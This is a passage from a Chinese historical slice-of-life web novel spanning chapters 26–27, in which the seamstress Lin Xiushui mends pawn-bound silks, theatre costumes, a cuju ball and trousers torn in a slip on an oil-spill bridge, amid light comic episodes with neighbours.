春玲帮你挨个打一顿出出气。” 林秀水被逗笑了,“真打吗?” 大春玲冷不丁接了句,“梦里帮你打。” 从成衣铺下了工后,林秀水被两人簇拥着到小溜水桥那去,找一个叫赛大娘的扑买摊子。 赛大娘面皮黑,长得很壮实,腰间挂串铜板,走路只听铜板啪啪响。 林秀水看她摊子上卖的东西,跟其他扑买摊子完全不同,扑买的人多,生意也好,东西一个接一个的补。 赛大娘忙中抽闲回了句,“那只管先拿来,我看谁活腻味了,跟我卖同样的东西。” 林秀水靠小春娥,又给自己的猫头香囊找到了生意。 她总有些不好意思,小春娥用力拍拍自己胸脯,拍得太用力咳了声,她边咳边道:“这在家靠亲人,出门靠朋友,我们得手里有啥人用啥人知道不?” “这不都是我靠你,你靠我的,你要是不靠我的,我将来怎么好意思占你的便宜啊,阿俏。” 大春玲啧了声,“前头说得好,后头说得那是什么玩意。” “你懂个屁。” 但是两人都问林秀水,“这下有没有高兴点?” 林秀水心里热乎乎的,她说:“有,请你们吃东西去。” “吃什么,难得都到这了,你请我们到瓦子里看场杂戏,”小春娥拉她。 看场杂戏只花了林秀水十五文,进瓦子去看杂戏,一人五文钱,两人不要她多花钱。 当然林秀水还是会琢磨香囊的事情,至少要搞些不同的,她暂时不打算放弃姚娘子这边的生意,毕竟给钱给得这么爽快的人,比生意要难找些。 她今日带了从姚娘子那赚的三百多文,没再急着买布去,她姨母这几日很忙,早上五更天便去上工了,总是夜里很晚回来,弄得满头满脸青蓝色。 林秀水去肉铺里割了一斤肉,买了罐盐,两百文便没了一半,剩下的买了些赤豆,要了些油菜,切了块豆腐,那老婆婆用荷叶包着给她的,她后悔买早了,没带篮子来。 反正林秀水不愿意回想,她到底是以什么狼狈的姿态回去的。 到了家里,小荷冲出来,举着打娇惜的绳子说:“阿姐,我上头的管子没了!” “不会叫哪只猫儿咬走吃了吧,呜呜,我打不起来了,我都转着玩的。” 林秀水正将豆腐放到盆子里,闻言一僵,她早上用完后头又忙去了,竹管子放哪里去来着了? 最后在一堆布头里找到的,她很诚恳地跟小荷承认错误,“是阿姐的错,我早上拿去用了,忘记装上了,不过我用这个给你换了个蹴鞠,明日或许你就能玩了。” “啊,真的吗?”小荷蹦起来,“我也能玩蹴鞠了!前头小三子家里就有个蹴鞠,可好了,只让我们摸摸。” 林秀水坐到灶台后,探出脑袋来,“你抱着它睡都成。” 小荷是个嘴巴藏不住的,有话就得抖落出来,王月兰刚下工回来,立即便叭叭全说了。 王月兰擦了把脸,她今日身上还算干净,听了个消息也高兴,没有打断小荷的兴奋,只说:“叫你阿姐惯着你,给你两颗糖,分颗给阿姐,你玩去吧。” 她上楼换身衣裳,下楼倒了杯水,面上有止不住的笑意。 林秀水好奇,“姨母,你捡着银钱了?” “什么银钱,”王月兰往后头看小荷在不在,一口气闷了杯水,而后才说,“路上碰见住对岸的蔡娘子,她官人今日没了。” 林秀水迟疑地道:“她官人没了?姨母你笑得这么高兴,他跟你有过节?” “这你就不懂了,蔡娘子估摸着自个儿也偷着乐呢,我只不过替她笑了罢,”王月兰半点不掩饰笑容,“她那个官人从前见天打人,家里谁都打,眼下跌水死了,我能不乐吗。” “死个男人罢了。” 王月兰说:“你前头两个姨夫死了,我也不见得难受。” 尤其后头那个,她生下小荷后就甩脸子,她姐走后,她说要把阿俏接来住,跟她对骂对打,得亏这人死得早。 林秀水掀开盖子倒水,有些不明白,“那姨母你怎么老担心我嫁人?” “你娘临终嘱托给我的,”王月兰撑手摸头,“那会儿她说,要是不给你寻门好亲事,到了地底每逢清明、中元都得爬上来找我。” “我怕死了,天天等,结果你娘一次也没来过。” 王月兰又立即岔开话头,“明日我不上工了,蔡娘子叫我帮忙去,扯些丝绵兜子,打打下手。” “我夜里便要去那边,晚上锁好门,我明日早上再回来,小荷跟你睡,把我屋子里那褥被也搬过去。” 林秀水应下了,又说:“那装些肉汤去,有炉子的话,夜里还能喝。” 王月兰没带,吃了饭后便走了,夜里林秀水带小荷洗手洗脚,盯着她用刷牙子,等她钻进被窝里,才打开窗,点麻油灯继续缝补。 东西补完一半,有人在窗底下叫,林秀水挪开麻油灯,探身子出去瞧,王月兰在船头喊:“阿俏,下来到后门那来,拿个碗。” 小荷没睡,也要跟着下去,林秀水举着麻油灯,叫她小心跟下来,穿过灶房到了后门,王月兰将船划来。 倒过来一碗子料浇虾面,和两个肉馒头,王月兰说:“你俩拿去吃,明早也不要开火,我给你送来。” “将门关好,我可走了,那边还要忙去。” 林秀水还没来得及说两句话,目送王月兰的小船在夜色里,拐过弯去。 “阿娘做什么去?”小荷吃面时问。 林秀水把虾挑给她,笑了声,“帮一个娘子的忙去,你晚点可得再用一遍刷牙子,你牙都有点黑了。” 小荷呼噜呼噜吃面,当听不见,她哪哪都不黑。 夜里林秀水抱着小荷,暖乎乎的,她睡得很好。 五更天时候,王月兰抽空给她和小荷送了吃食,是灌熬鸡粉羹和花糕。 林秀水说:“办得这么体面。” 王月兰掉船头时回:“死得不体面有什么用。” 她没忍住笑,鸡粉羹还热乎着,林秀水吃了小一碗,吃花糕时,屋外便有了喊声,应当喊她补东西的。 她急急忙忙出去开了门,花糕都还吊在嘴边,是对眼生的夫妻,提了一个箱子来,她瞧了眼,没瞧出什么。 林秀水咽下嘴里的东西,请人进来,准备拿工具前问道:“两位要补些什么东西?” “补些之前穿过的旧衣裳,”那女子去将门掩实,带点无措的笑,“听闻小娘子手艺好,我俩才从对岸那边过来的。” 林秀水笑着点点头,“原来如此,我先瞧瞧补什么衣裳。” 她伸手从箱子里取出衣裳,粗看觉得是绸缎,那种特有的光泽感,她拿出来一瞧,还真的是,那种大红的缎面,除了些许勾丝以外,算是好料子了。 而且绝不是估衣铺里买来的旧衣。 她又翻了底下好几件,两三件绸缎,其余是上好的细绢,款式倒是男女都有。 林秀水看了眼很局促的夫妻俩,穿得都是旧麻布,连鞋面都打了补丁,有些怀疑起来,这不会不是两人的东西吧? 女子许是看出她的怀疑,连忙轻声解释道:“这是我俩的旧衣,从前家里富裕时买的,后头破落了,哎。” “也不怕小娘子你笑话,这是我们拿去长生库做死当的,还要麻烦你打眼瞧瞧,精细补补。” 长生库林秀水听过,是寺庙里的质库,放利放钱,完全不像寺庙。 所有质库都差不多,佛门里的也一样,嘴里说着阿弥陀佛,压起价来毫不心慈手软,只恨不得多压些。 林秀水宽慰她,“娘子你放心,比起我这补工,最好使的就是我这眼睛,旁人都说亮得跟夜里的乌桕蜡烛似的,哪里有不好的,逃不过我这双眼。” 这话说得面色紧绷的两人笑了起来,没有那样局促。 林秀水端了凳子给两人坐,支好桌子,用湿布擦一遍,干布擦一遍,擦到没有一点脏污,才去洗干净手。 她坐在光线最好的那处,先拿起红色的缎面衣裳,她分不出来这些绸缎是什 么绸,哪来的,还没在成衣铺里学到,但能分清好坏。 先摸手感,绸缎的质地紧薄光滑,她一寸寸摸过去看过去,同那对夫妇说:“我摸有没有勾丝的地方,绸缎很容易勾丝的,而且勾了的话会很显眼,又不大好补。” “但真勾了也没事,就用针去挑一挑,一点点地往布前头赶,摸不出来,也看不出来。” 挑这种丝除了费眼,手稳以外,对林秀水来说难度不大。 她摸完第一件绸缎衣裳,总共有四处勾丝,三处起毛,旁边有两处小裂口,她说:“光这件补补要四十二文。” 那女子站起来说:“小娘子只管补,我们不会短人银钱的,我是说,该给多少都行。” “别担心,我补完的话,”林秀水笑道,“本来该压你们一半的价,拿到长生库里最多压你们两成。” “超过两成,再说什么都不要松口,问是谁说的,就说是林秀水说的,她不让你们贱卖。” “我是林秀水。” 说得让夫妻俩看一眼对方,笑出声来,原先还很忐忑的心,想着是卖了这最后家当,要是还不成,路走到尽头,绢布买卖生意欠的钱还不完,那就一起到地底去。 可这会儿,又从林秀水逗趣的话语里,找到些许期望,万一能卖出个好价钱呢? 林秀水不是白给他们期望,她对自己的手艺有信心,这种不需要换布的,只有点小毛病的,修修就好了。 虽然绸缎勾丝很烦恼,但她也有自己的法子,取一枚针,搓搓手里黏着的黑线,对准勾了丝的地方,慢慢地赶,将线勾一勾,拉出来,往侧缝处那边赶。 很费劲,勾的丝虽然不算长,但要一点点赶,很细心,要有耐心,手不能抖,一抖勾断了丝,不能同素纱一般,还能再往里头加纱。 赶完的线,她摸一摸,擦一擦,扯一扯,确保这勾丝的痕迹完全消失。 让两人看,两人看完面面相觑,对着光都瞧不出来,实在是厉害。 补这六件衣裳,林秀水从五更天补到卯时后半,连出摊也没去,赚了二百文多些,补得她脖子酸痛,眼睛干涩。 “赶紧去吧,我给你们叠好了,补好了,只管放心去吧,最多压你们两成的价,不行便换一家呗。” “这衣裳都能补好,日子也能补好嘛。” 林秀水好些次瞧出这两人的仓皇、局促和不安,有时候补东西,也是在补人心。 两人千恩万谢,男的甚至想行大礼,林秀水拦他不住,把自己关在门外。 后来的某天里,去了临安府长生库回来的夫妻俩,告诉她,那堆衣裳抵押了十五贯银钱,给了两人从头再来的机会。 那已经是很久之后的事情了。 而这天早上,林秀水补完衣裳出去,她提了一麻袋手套出去,交给洗衣行的小九,两人在墙角处做交易。 小九一个个清点,她举起自己的手,喜笑颜开,“你做的那手套子怪好用的,我已经两日手没胀到发白了。” “你们觉得好用就行,有没有哪漏进去的,这批里头,要是有七天里就漏的,可以找我补,漏得实在多,我给你们换一双。” 林秀水指指这手套,“上头我都绣了日子的,超过三十日后坏的,我便不补了,这一批油布成色不错,不会那么容易渗水的,我自己试过,你们用捶布石的,或是其他捶布的,都注意着些。” “我晓得的,以后还卖这个价吗?”小九拿起手套,有些犹豫地问。 林秀水说:“这批是这批的价,以后要有更好的油布,不怎么会进水的,那便是另外的价钱,你放心,我还没琢磨出来,不会立即抬价的。” 小九放了一半的心,将五吊钱给她,小九站在墙角口给她用身子挡光,挡人。林秀水在里头数钱,五百文数得很仔细,这可都是她的买布钱,加上这钱,她的买布钱已经积攒到九百多文了,再赚点能到一贯,可喜可贺。 幸亏今日准备了个布口袋,不至于招摇过市。 林秀水数完钱,同小九告别,也从她嘴里得知,除了洗麻布衣裳的二十人外,洗衣行里还有洗绢布衣裳的二十五人,洗绸缎衣裳的三十七人。当然这些人不在林秀水的考虑里,手套硬会刮丝,她卖那么便宜,可赔不起银钱。 那么只有里面洗大块麻布、上浆的五十六人,她至少要买完整尺幅的油布。 她想着这事,走回成衣铺,又是熨布、教大春玲熨,跟布婆看布,小春娥和大春玲会给她留饭,再是熨布、看布、抽空跟阿雅学点编绦绳的法子,她教阿雅特别的缝补针法。 下工后支摊,接了皮六的蹴鞠,一个新一个旧,都没来得及细看,一堆的活计涌上来,她今早和昨日夜里都没出来摆摊。 林秀水补得一个头两个大,她站起来,提起条破成丝的裤子,跟年纪大的老丈说:“老丈,这裤子买条新的吧,今日就算有蚕花菩萨来,这裤子都得蚕吐了丝,织娘上织机才能补得出来。” “那我找蚕花菩萨去,”老丈拿过来,拄着拐杖大步走了,其实他压根不去找蚕花菩萨,他去成衣铺买条新的。 林秀水捏了捏眉心,低头看那破罩子,“你确定要我补,糊张布的事,你自个儿拿回去吧,你看我这边,合围裙、褙子、上襦,都叠得比我头高了,我真没工夫。” “那你不补的话,这送你了,我拿回去也是懒得补的,”天下出奇的懒人这样说,说完真把这罩子留下,人走了。 他绝对不愿意再接手一个要自己补的破烂,他会疯的。 林秀水看得目瞪口呆,算了算了,她补补还能用,到时候把这罩子倒挂起来晾她的布头。 她真是尽碰上一堆奇人。 准备收摊时,还碰上回家的陈打金,那前头也摆摊要跟她做同样生意的,林秀水倒是好久没见过她。 照旧穿很艳,像一朵开得极盛的牡丹花飘到她面前。 “我进布行里去了,”陈打金以一种平稳的口吻说,脸上笑得跟牡丹长花瓣了一般。 林秀水正整理东西,抬头看她一眼,“没想到,你还挺厉害。” 她刚说完就后悔了,她就不该跟陈打金说话。 在她说完后,陈打金极为夸张地说:“真的吗?能得到你的承认,看来我果然还是有点本事的,你能不能再说一遍,你还挺厉害的。” 林秀水斜眼看她,没话讲,陈打金没话找话,“秀姐儿,你生意近来还挺好的吧,上回原是我错了。” 林秀水无可奈何,回了句,“托你的福,挺不错的。” 陈打金不敢相信,“没想到啊,没想到啊,我陈打金竟然也有坏心办好事的时候。” 正好陈桂花从这经过,扔下句话,“这人还跟我一样姓陈,天爷嘞,蠢得挂相了。” 林秀水憋住笑,扭头往自家走,不想搭理陈打金。 陈打金见人走了,这才想起正事,忙跑过去喊:“秀姐儿,你别走啊。” “你要布头不?” “要。” 陈打金又说:“那你接我的活要不要?” “不要。”—— 作者有话说:更新啦[好的] 今日小满,发红包,祝大家人生小满,小满胜万全[比心][红心] 25-30 第26章 第 26 章 十六条破了洞的裤子 陈打金只有布头是正经的, 可活不是。 但后面林秀水看了她拎来的这麻袋布头,翻看了会儿,连布头也不是正经的, 皱皱巴巴的,还有袖子、衣角,像是挨家挨户从别人那讨来的旧衣。 “你怎么晓得的, ”陈打金拍拍这堆布头, 眉头上挑,“全是我挨家挨户讨要来的。” “要来做什么,”林秀水拎着布篓子往前走, 回头说了句,“难不成想到个便宜法子,再支个缝补摊子来。” 陈打金臊红了脸, 她一把拽过布袋,跟在林秀水后头,“总提这档子事做什么,哎,别进门啊,我话还没说完呢,我可进来了, 我真有正经事情。” “你能把正经事情说在前头吗?”林秀水受不了她磨叽, 先将要缝补的衣物放到架子上。 陈打金拖着布袋进门, 小声说:“我哪句话不是正经的。” “我家阿姐嫁了前头肉行的, 估摸着下个月月初要生了,得送催生礼,我娘叫我张罗件小孩穿的绣彩衣。” “我一寻思啊,这绣彩衣多没新意, 谁送催生礼都送,所以啊,我去讨要了百来块布头,准备做件百家衣。” “那你做呗,”林秀水不明白她想说什么。倒是想起催生礼送的东西,桑青镇里的人送彩画银盆,上头放栗秆一束或是桑枝几条,盖绵纸或锦绣布面,送一百二十枚彩画鸭蛋等等,再就是小娃要穿的绣彩衣。 其实镇里还有个习俗,小儿刚生下后,第一件衣裳要穿红,说避免虱子和跳蚤叮咬。 但是,这百家衣一般是小孩生下百日才穿的衣裳。 林秀水打量陈打金一眼,看她梳着丫髻,知晓她没婚嫁,但也真不清楚她想的是什么。 陈打金还能想什么,她露出大牙笑得谄媚,“这不是想你帮我做嘛。” “我能出钱,出布头,你出个力气工夫。” 林秀水就知道,陈打金压根没有靠谱的事情,说她这个人不靠谱,她还知道挨家挨户讨布头,说她靠谱,小孩该穿什么也不清楚。 “你讨都讨了,自己做才更有心意,”林秀水倒也不是不愿揽这个活,而是真这样想。 陈打金哀怨看她,“你看你,跟我娘一个样,你们能想一个打铜匠的女儿,从小提炉子拿锤子的,捏针像捏铜片,都想扔炉子里烧了。 ”“前头支摊,除了听人说这活赚得多,更是我娘一直念叨,说我女红都不会怎么嫁得出去,同她置气才这样做。” “后来你说我适合去布行,我第二日早起就去了,我就信你这眼光,一剪起布,那行老当即说要将我留下。当时我就想,我早前天天帮我爹剪铜片,裁样子,铜剪可比布剪要重多了。可我爹又不将铜匠本事传给我,叫你给我指了条布行的门路。” 陈打金七拐八拐说了一大堆,最后意思就是,“秀姐儿,阿俏,你就帮我做做吧。” 林秀水听完后,背过身去看她带来的布,全是皱巴巴的,想做件衣裳得先熨布。 “做也可以,同你先讲清楚,这百家衣不是刚生下时穿的,你自己再去买绣彩衣。且你讨的这布头,没有要袖子、衣角的理。” “光理布、剪布、熨布六十文,你这有百来块布头,再者拼凑衣裳,就按四十文算,小孩衣裳小,你给我百文便是。” 陈打金一口答应,“我不仅给你百文,我还给你一袋布头。” “讨来的我不要。” 陈打金追问,“我布行里讨来的,你要不要?”林秀水沉默一阵,不想回要,便道:“…行。”等陈打金回去拿定钱时,林秀水将这袋布头倒在竹匾上,叹口气,这陈打金真是什么布都要。 破了洞的、有一些霉点子的、袖口处、边角处的,林秀水毫不手软挑出来,扔到一边去。 又将布分作一堆,这里也只有麻布和绢布两种,麻布有七十五块,绢布有四十六块。 做件百家衣是绰绰有余的,只是林秀水另外让陈打金找件素净的旧衣,做件内里,不然麻布和绢布都会磨到小娃的。 收了钱,整理好布,林秀水想明日到成衣铺里,同顾娘子说声,熨斗能不能借她熨下?不行再说,她会说到行的。 做百家衣急不得,林秀水拿出蹴鞠,新的那个给小荷玩,旧的那个,上面好多牛皮开裂了,她伸手戳戳里面的猪小肚。 其实这种里缝线,应当是硝好的皮子两两对缝,缝完十一瓣,留个缺口将猪小肚塞进去,再充鼓气缝第十二瓣。 她翻来覆去地看,琢磨缝线该如何下手,小荷在边上用头顶蹴鞠,没顶住,结果砸到林秀水桌子上来,砰砰两声,吓她一大跳。 “大宝,你可当心着点吧,要是将我吓出好歹来,”林秀水抚抚心口,“外头玩去。” 小荷也伸手摸摸她的头发,学着王月兰的口吻说:“吓不着啊,吓不着啊。” 林秀水笑了声,“自己玩去,我正忙着呢。” 她让小荷上外头打蹴鞠,自己又将这蹴鞠看了看,伸手从皮子裂口处小心探进去,确定里外两层皮保留了距离,斜着下针不会戳破皮子。 确定好后,林秀水发觉里缝线压根没办法缝,还是得用藏针法,从缺口一处皮子的内里,针头扎进去,慢慢穿出来,斜着到另一边皮子里穿一小截出来,如此反复。 这种缝法在布料上不难,放在蹴鞠里显得有些难,则是因为里头藏了个易炸的东西,稍不留神就会炸。 林秀水再下针,只听里头嘣的一声,她闭了闭眼,不用看都知道,她把这只蹴鞠补炸了,手里的蹴鞠也立即瘪了下去,成了软塌塌的一团瘫在她手掌里。 她就知道,这种可比缝衣裳考验针法,她手勾丝加丝的时候,手也会轻微抖。 即使她到桑青镇里来,吃肉吃饭,仍旧不见长肉,手臂力气不够,能靠着手感蒙混过关。 但在补蹴鞠上,一点抖动和针线偏移,里面的猪小肚便会告诉她答案,她手法不行。 林秀水看着这个瘪瘪的蹴鞠,沉默良久,赔钱倒不是紧要的,但她把蹴鞠补破了,却还想接补蹴鞠的活。 不是图那点钱,而是实在很考验她的手艺,这种越是能考验和增长她手艺的东西,她只会越想要尝试,去磨炼下自己。 蹴鞠破了便破了,赔钱的事晚些再说,林秀水将里头的皮子取出来,看着外头的牛皮子,她决定先学缝补皮子再接补蹴鞠的活。 牛皮里头装满丝绵,她也当作里头仍是易炸的猪小肚,慢慢地缝补,缝到天黑,针上仍旧会有丝绵留下来的丝,手艺还不算行。 到第二日早,林秀水记挂着这件事,早早起来,之前跟皮六定好卯时边上来的,结果她刚摊子支出去,皮六拄着拐一瘸一拐地走过来。 “打蹴鞠摔了?”林秀水看他这模样,有点关切地问道。 皮六甩甩手,反正都被酒务脚子抓到了,他选择实话实说:“这人啊,根本不能太贪心,这一贪心呐,别说酒漏了,人都差点没被打死。” 说的什么东西,林秀水压根没听懂。 皮六摸摸屁股,嘶了声,“就从你这补完那两个猪泡回去,我心里正美呢,一高兴将自己家里的全给补了,补完全装上私酒。” “心里正得意,结果我自己补的猪泡跟放炮仗一样,噼里啪啦全炸我身上,这炸了就炸了,好死不死炸在关口的酒务脚子前。” 皮六说得一把眼泪,一把鼻涕,“打了我三板子,罚了我两贯钱,我就说心不能太贪,我是再也不敢运私酒了。” 林秀水听完佩服至极,她把之前皮六说的话,原样不动奉还,“还有这样的装法,真是什么脑子才能想得出来啊。” “猪脑子,”皮六指指自己的脑子。 但皮六说:“补蹴鞠的可是正经活,小娘子能补的话,我就给你揽下来。” 林秀水露出局促的笑容,从底下掏出个蹴鞠皮,“不巧,昨日也补炸了。” 皮六愣神,和林秀水面面相觑,他小心说:“要不,找个相士算一卦去,说不准有什么炮仗神呢,就藏在这猪泡里头。” 胡说八道的,林秀水斜眼瞧他,分明是自己的过错还说这些。她后头说先赔了这个蹴鞠,再拿两个旧蹴鞠来,她得练练手,炸了再赔。 皮六感慨于她的执着,意思意思只收了她十文钱,说过两日给她拿过来,要养养身子,给他自己留了面子,打板子打屁股上可真 疼啊。 林秀水瞧着他走路那一瘸一拐的模样,摇头叹息道:“咋想的呢。” 后头满脑子都是,“这装在猪小肚里的酒,能好喝吗?” 她没再多想,早上将补好的东西挨个发还,听一嘴夸赞,心满意足提着布头上成衣铺里去。 一到里头,碰上埋头说小话的三人,其中一个还是外头打理衣裳的阿雅。 话头明显是她挑起来的,只见她手舞足蹈地说:“今早我最早来的,出奇的是,顾娘子居然早早到了。” “我一瞧,她今日连花也没簪,首饰竟也没带,脸色难看得很,我都不敢去触她的眉头。” “你们说说,到底出了什么事,我昨日打理衣裳也打理得好好的呀。” 小春娥打了个哈欠,“阿雅,你下回来能不能说点有新意的,我都要听睡着了,你当你是行晓僧人呐,天天看顾娘子的脸色,她阴就报阴,晴就报晴,上半日晴下半日雨,夜里阴晴不定你咋报。” 阿雅哼了声,“我在外头做活,自然得瞧顾娘子的脸色了。” 林秀水放了包走过来,自然插话道:“这事啊,顾娘子说昨夜做了个噩梦罢了。” 其实顾娘子同她说的是,昨夜梦见虾变成了条大鱼,早上醒来仍觉得奇怪,到相士那解了一卦,说她近日必失财物,她才面上不爽快,怕有贼偷来偷她东西,正琢磨如何办呢。 顾娘子于这上头太信,当即还请了许多张厌梦符箓,说是辰日梦恶,要贴在门上,她还说要给成衣铺所有门贴上。 林秀水说完,其他三人齐声问:“你怎么知道的?” “我,”林秀水无话可说,指指自己的嘴巴,“我问的,她脸色难看,我肯定要问一嘴啊。”阿雅一拍手,站起来往外走,“原是如此,我以后也要记得用嘴巴问。” 林秀水失笑,她擦熨斗底说:“明日运了批新布来,今日得把这批新布给熨完,玲姐儿,我教你熨前头的。” 晚些顾娘子来,将所有的门都贴了张符箓,但她担心的失财物事情,到了成衣铺关门歇业,也并没有发生。 倒是林秀水掉了个铜板,她买东西时,那铜板没拿稳,咕噜噜滚到河里去了,气得她在河岸边站了会儿,还想自己昨日有没有做梦。 想来想去只想到自己在梦里吃鸡腿,鸡腿吃太撑她醒了。 她最后边走边想,看来最近跟鸡犯冲啊。 不过有失必有得,林秀水回去过桥,半道上碰上前头做过手鼓的朱七娘,她估摸着也是来找自己的。 “鼓做好了?”林秀水拎着袋布头小跑几步上前问。 “没有,还在同鼓匠学,自己做鼓倒是起了不少兴致,说不准我过些日子,又能上台唱了,”朱七娘也小走几步迎上来,“今日过来找你,给你揽了几个活,你瞧瞧能不能补,要是能补,以后这些活,我叫她们都上这来找你。” “那我可得先看看,”林秀水笑着招招手,站到墙根处,“我先瞧瞧,到前头去的话,我还有不少老客等着呢。” 她也不知道朱七娘拿的什么东西,万一不好在大庭广众下拿出来,恐叫人家失了脸面。 朱七娘也连连说是,将手里的包袱递给林秀水,林秀水找了个能放置的小矮墙,又不至于被人家瞧到的。 第一样是件浑裹,也叫诨裹,是南瓦子里演杂剧头上戴的帽,样式很怪异,套头帽子上面再裹头巾,用麻绳扎成朝天方向的。 林秀水只见他们带过,还记得挺清楚,她把这顶帽子在手里翻看了一通说:“里头裂开了,里外两头缝一缝就好,这也就一两文钱的事,顺手补补很快的。” 她又拿出一件来,她不大认识这种形制的衣裳,朱七娘忙说:“这是他们杂剧耍时穿的,叫圆领小袖衫,底下开衩的,说是开衩劈裂了,劈到袖子处了,叫你补一补。” 林秀水纳闷极了,到底以什么样的姿势,能让这衣裳裂到袖子处,她不理解但说:“四文,两文补一只袖口。” 接下来她真的是领略了这杂剧的行头,有圆领长袍配东坡巾,说是扮演皂隶的,结果演得太过头,把缝上的腰系带一把扯了下来,所以这圆领长袍变成了圆领半截上袍,底下的还吊在边上呢。 她得重新把上面剪了,再找根腰系带重新把下摆缝合回去,她收了十文钱。 另有短褐衫子,又是破的腋下这处,什么尖顶高帽,她拿着短帽问:“高在哪里?” 朱七娘也是哭笑不得:“原先是高的,这不演那斩头的,发了疯,当场抢别人的剪子给剪断了,说是割帽断头。 可偏偏那不是他的帽子,是他硬生生从别人头上抢过去戴的,如今那人正哭着找人修,我见他可怜见的,才问问能不能补来着。” “还有这件绛蓝色圆领袍,那演的是个书生,什么薄情寡义的戏码,叫底下人真砸了茶碗,茶水全泼上了,他喊叫着,从中间将衣裳撕破了。” “还有这条外裤,打滚翻时叫后头人拽了下,结果从中间裂了开来,当时瓦子里就见人里头穿的大红里裤了。” 林秀水听得目瞪口呆,这演杂剧的还真是故事多,名堂多。 朱七娘一见她这模样,扑哧笑出声来,“这才哪和哪,在瓦子里谈起来都没人讲,只不过图个逗趣罢了,原你爱听这个,等我搜罗些好听好玩的事,下回说给你听,保管你听了下巴都合不上。” 南瓦子里乱着呢,什么男男女女,女女女男,男男男男的事情,这种东西实在糟污,朱七娘不屑于,也不可能跟林秀水讲。 但有些杂事,那可有意思多了,说出来都没人信,又能博一乐,朱七娘决定回去好好问问。 林秀水收拾好这一包袱的东西,笑道:“这我可先拿走了,只等你下次说些别的东西来。” 这一大包袱,乱七八糟的东西全都有,她能赚个一百一十文。 提着东西回去,果然路上已经有不少人等着,林秀水先张罗她们的事情,今日要缝补得多,而且多是膝盖破了洞,有些单个洞,有些两三个小洞。 收第一条的时候林秀水没察觉到异样,等收第二条、第五条、第八条时,她彻底没话讲,又很好奇,“这都上哪去了,怎么全破了裤子,而且还有油污。” “天杀的,”有个娘子站着揉膝盖,弓着身子指指对岸的小桥,“谁家油篓子破了,倒在那桥上,也没人管,我打那走过摔了一大跤。” “我也是,当时正挑担子呢,结果踩到上头,一磕磕着膝盖。” “别说了,我也是。” 后面的人声音越来越低,全是受油所害,磕了膝盖的倒霉鬼。 林秀水都没法子安慰他们,实在有些过于倒霉了。 到她收摊前,受油迫害的裤子总共有十五条,但受伤的可不止十五人,李巡栏也一瘸一拐走过来,“小娘子啊,帮我补补这条裤子,天杀的,到底谁往路上倒清油,别叫我给抓着,我这条才上身没一天呢,便要打个大补丁。” “我得给我裤子申冤,”李巡栏越想越气不过,“我挨个找去,就不信找不到是谁漏的油,哎呦。” 林秀水摇了摇头,“我只能给你补丁打好看点了。” “多好看,看不出的好看吗?” 林秀水回:“一眼就看出来的好看。” 李巡栏无话可说,他瘸着腿往桥上走,他要给这么多人的裤子报仇去。 等到夜里,这件事传遍了桑桥渡,连王月兰回来都说:“哪家这么不小心,听说漏了好几个油篓子,满桥全是油, 三五十人磕了脚,熟药局那边正忙着呢。” 林秀水额了声,她下午才听说是一滩呢,正在桥中央,怎么一到晚上,就变成满桥了呢,大伙可真能瞎编。 而王月兰深信不疑,还在惋惜倒在桥上的那些油,“要是卖出去,能卖多少钱啊,哎——” 林秀水说:“姨母,那是你的油吗?” “你懂什么,别人的油更痛心。” 林秀水兀自补着裤子,她确实痛心,得补十六条破洞裤子。 当然这事到很久后也没查出来,有说没瞧见的,也有说起早见个头戴斗笠,穿蓑衣的老丈倒的,又有人信誓旦旦地讲,他见着个行脚僧疯疯癫癫的,拿着个大葫芦,里面肯定装了油。 但说来说去,始终没有个实证,这便成了桑桥渡的悬案,到这条桥上报晓的僧人都得加上一句,“小心油滑”“地面湿滑”。 当然林秀水原以为这事就以破洞裤子,找不到人结束了,没想到当日早上,她摆摊时碰见个小郎君。 “你难不成不想知道是谁撒的油吗?说不定,是什么江湖大盗故意作案,”那小郎君说,“我要去好生调查。” “那你去,上我这来做什么,”林秀水憋着笑道。 小郎君说:“你得先给我做顶黑布顶帽,蒙面头巾。” 林秀水问他,“布呢,钱呢?” “没有可以做吗?” 林秀水逗小孩,“可以,你给我留下来打下手。” 哪个孩子从前没有当过大侠的梦呢。 但人家不想当大侠,他跟林秀水说:“我要做衙探,写小报!” 林秀水:?? 那你给自己整一副蒙面大盗的装扮—— 作者有话说:[竖耳兔头][彩虹屁] 第27章 第 27 章 两个好消息 小报在临安府盛行, 即使在桑青镇里,过一桥便能瞧见满是纸张的摊子,有戴东坡巾或逍遥巾的男子在叫喊:“供朝报——” 朝报是邸报的别称, 邸报则为朝廷传发出来的,可实际上,供朝报的摊子里头总是掺杂着民间自印的小报。 据林秀水所知, 这些小报还分层级,最厉害的是内探,专门探寻大内宫廷的秘闻和掩而不发的事情,其次为省探, 在什么尚书省里探听的,最后才是衙探,往各大衙门里打听消息的。 最后编写成报, 通过刊刻、印刷发出来。 至于眼前这小孩,林秀水认识他爹,在桑树口对岸的桥边上供朝闻的。 他爹也不大正经,来补件道袍,前一刻嘴里说这辈子最想去的地方,是临安府朝天门里的进奏院,朝报都是从那最先发出来的, 不用等十日才能见到上一次的。 下一刻又说自己去雇两个镖师, 护送自己到各地衙门当个衙探, 一张嘴, 一支笔,定能将小报写出花来。 实则还要看他娘子愿不愿意多给他两个铜板,让他能再买块豆糕。 上梁不正下梁歪,爹这样儿子也这样。 林秀水找了块黑布, 还是上次船布郎送她的,黑布不值钱,盯着这小孩想了想名字,记得他娘追着他打时,叫他小温吧? “小温?” 那少男立即跳起来,他涨红了脸,他嚷道:“我叫七宝!” 不怪他这么跳脚,他娘每次看他不顺眼,就骂他小瘟神,他讨厌这个称呼。 “那七宝,这块黑布送你,对折扎两根麻绳挂在脸上,你就能去当衙探了,”林秀水给他折了下,告诉他,“不过当衙探前得先好好认字,不然字都写不出来,那可当不了衙探。” 七宝说:“我当然识得,我都上官学了,我十三岁了。” 不知道的以为你三岁,林秀水腹诽。 没过多久,七宝他娘来了,风一样滚过来,揪住七宝衣领,怒气冲冲的脸面向林秀水又瞬间散开,“小娘子,给你添麻烦了,我家这小子,一日不打,上房揭瓦,起早连学也不去念了,叫我好找。” “娘,娘,”七宝用黑布蒙住自己的脸,闷声闷气地回,“你好歹给我留点面子呀。” “留面子,你给你娘老子留脸面了没,”七宝娘拖拽他,“说出来不怕别人笑话,那字写的我家青团都比他的好,青团是我家里刚生三日的猫。” 林秀水忍不住放声大笑。 七宝哼一声,被他娘扯着裤带,压着往官学里去,他发誓再也不想当衙探了,他要当捕快,第一个抓他娘! 林秀水原以为这场关于油的闹剧收了尾,没想到实则转到街道司上,他们被百姓骂天天只会在街上转悠收侵街钱,一群吃干饭的,地上那么大一滩油都瞧不见。 